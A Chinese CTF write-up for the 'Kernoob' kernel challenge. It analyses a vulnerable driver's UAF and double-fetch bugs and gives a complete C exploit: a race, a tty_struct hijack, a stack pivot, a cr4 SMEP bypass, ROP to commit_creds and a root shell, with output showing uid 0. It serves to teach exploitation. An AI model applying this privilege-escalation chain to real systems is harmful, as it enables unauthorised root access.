高校战疫‘Kernoob’
April 13, 2020 PWN CTF-Writeup 访问: 56 次
kernoob
首先分析一下startvm.sh
这个文件
#!/bin/bash
qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 pti=off oops=panic panic=1 nokaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp 2,cores=2,threads=1 \
-cpu qemu64,smep 2>/dev/null \
-s
没有开启kaslr
,说明内核地址和驱动加载地址是不变的
开启了smep
保护,内核不能执行用户区域的指令,修改cr4
寄存器为0x6f0
即可绕过
分析rcS
1 #!/bin/sh
2
3 echo "Welcome :)"
4
5 mount -t proc none /proc
6 mount -t devtmpfs none /dev
7 mkdir /dev/pts
8 mount /dev/pts
9
10 insmod /home/pwn/noob.ko
11 chmod 666 /dev/noob
12
13 echo 1 > /proc/sys/kernel/dmesg_restrict
14 echo 1 > /proc/sys/kernel/kptr_restrict
15
16 cd /home/pwn
17 setsid /bin/cttyhack setuidgid 1000 sh
18
19 umount /proc
20 poweroff -f
13行表示禁止普通用户查看demsg
信息:Link
14行表示root用户有权限读取/proc/kallsyms
, 普通用户没有权限:Link
分析nook.ko
noob_ioctl
提供了有增删改查的功能,类似于用户态的pwn
__int64 __usercall noob_ioctl@<rax>(__int64 a1@<rbp>, __int64 a2@<rsi>, __int64 a3@<rdi>)
{
__int64 *v3; // rdx
signed __int64 v5; // [rsp-10h] [rbp-10h]
__int64 v6; // [rsp-8h] [rbp-8h]
_fentry__(a3, a2);
v6 = a1;
if ( a2 == 0x30001 )
return del_note(&v6, v3, a2);
if ( a2 > 0x30001 )
{
if ( a2 == 0x30002 )
{
v5 = edit_note(&v6, v3, a2);
}
else
{
if ( a2 != 0x30003 )
return -1LL;
v5 = show_note(&v6, v3, a2);
}
}
else
{
if ( a2 != 0x30000 )
return -1LL;
v5 = add_note(&v6, v3, a2);
}
return v5;
}
经分析,发现在del_note
存在UAF
,在add_note
存在double fetch
可以分配任意大小的heap
,并且存在UAF
,及可以利用tty_struct
来控制程序流,进而进行ROP、getshell等
需要注意的是,这个题目的vmlinux
文件中没有mov rsp,rax ; dec ebx ; ret
指令,所以之前控制栈的方法不行了,在从高校战疫的两道kernel学习kernel学习到用xchg eax, esp; ret;
来控制栈,极为方便快捷,xchg
指令是将两个寄存器的值互换,方法就是用mmap申请一个栈空间,地址就是xchg eax, esp; ret;
指令地址的低四位,然后把ROP chain
写到fake stack
里,再控制tty_struct
让程序流执行到这里即可
poc
:
#include<stdio.h>
#include<stdlib.h>
#include<sys/ioctl.h>
#include<fcntl.h>
#include<pthread.h>
#include<stdbool.h>
#include<unistd.h>
//mmap
#include <unistd.h>
#include <sys/mman.h>
struct data_1{
size_t index;
char *fill;
size_t size;
};
int sign=0;
void *change_size(void *p)
{
struct data_1 *s = p;
while(sign==0)
{
// printf("\033[1;31;44mpthread doing!\033[0m\n");
s->size=0x2e0;
}
}
size_t user_cs,user_ss,user_sp,user_rflags;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
size_t commit_creds_addr ,prepare_kernel_cred_addr;
void get_root(){
__asm__(
"mov rdi, 0;"
"mov rbx, prepare_kernel_cred_addr;"
"call rbx;"
"mov rdi, rax;"
"mov rbx, commit_creds_addr;"
"call rbx;"
);
}
void get_shell()
{
if(!getuid())
{
system("echo root:");
system("/bin/sh");
}else{
system("echo fail");
}
}
int main()
{
save_status();
pthread_t pt;
char str[0x10]="123";
int sign_1;
struct data_1 dd;
size_t fake_tty_operations[53],payload[0x100]={0};
dd.index=0;
dd.fill=malloc(0x300);
dd.size=0;
int fd=open("/dev/noob",0);
pthread_create(&pt,NULL,change_size,&dd);
while(true)
{
dd.size=0;
sign_1=ioctl(fd,0x30000,&dd);
if(sign_1==0)
{
printf("\033[1;31;44m0x2e0 heap success!\033[0m\n");
break;
}
}
sign=1;
pthread_join(pt,NULL);
// pthread_exit(NULL);
//uaf
ioctl(fd,0x30001,&dd);
//tty_struct
int fd_ptmx = open("/dev/ptmx", O_RDWR|O_NOCTTY);
size_t code_1 = 0xffffffff8101f2f0;//mov cr4, rdi; pop rbp; ret;
size_t code_2 = 0xffffffff8107f460;//pop rdi; ret;
size_t code_3 = 0xffffffff8101db17;//xchg eax, esp; ret;
size_t code_4 = 0xffffffff81069bd4;//swapgs; pop rbp; ret;
size_t code_5 = 0xffffffff81034edb;//iretq; pop rbp; ret;
size_t code_6 = 0xffffffff814c17fb;// pop rdx; pop rdi; ret;
size_t fake_stack = code_3&0xffffffff;
commit_creds_addr = 0xffffffff810ad430;
prepare_kernel_cred_addr = 0xffffffff810ad7e0;
//fake stack
if(mmap(fake_stack,0x3000,7, 0x22, -1, 0)==-1)
{
printf("mmap fail!!");
return 1;
}
*(size_t *)fake_stack = code_2;
*((size_t *)fake_stack+1) = 0x6f0;
*((size_t *)fake_stack+2) = code_1;
*((size_t *)fake_stack+3) = 0;
*((size_t *)fake_stack+4) = (size_t)get_root;
*((size_t *)fake_stack+5) = code_4;
*((size_t *)fake_stack+6) = 0;
*((size_t *)fake_stack+7) = code_5;
*((size_t *)fake_stack+8) = (size_t)get_shell;
*((size_t *)fake_stack+9) = user_cs;
*((size_t *)fake_stack+10) = user_rflags;
*((size_t *)fake_stack+11) = user_sp;
*((size_t *)fake_stack+12) = user_ss;
fake_tty_operations[0]=(size_t)0x1234;
fake_tty_operations[1]=(size_t)0x1234;
fake_tty_operations[2]=(size_t)0x1234;
fake_tty_operations[7]=(size_t)code_3;
printf("fake_tty_operations:%p",fake_tty_operations);
ioctl(fd,0x30003,&dd);
((size_t *)dd.fill)[3]=fake_tty_operations;
ioctl(fd,0x30002,&dd);
ioctl(fd,0x30003,&dd);
char buf[0x8] = {0};
write(fd_ptmx, buf, 8);
printf("Dowe!\n");
return 0;
//0xffffffffc00044c0
}
结果:
radish ➜ dfbc2e53440546ebb687759123215e9e bash startvm.sh
Welcome :)
~ $ id
uid=1000(pwn) gid=1000 groups=1000
~ $ /exp
[*]status has been saved.
0x2e0 heap success!
root:
/home/pwn # id
uid=0(root) gid=0
/home/pwn #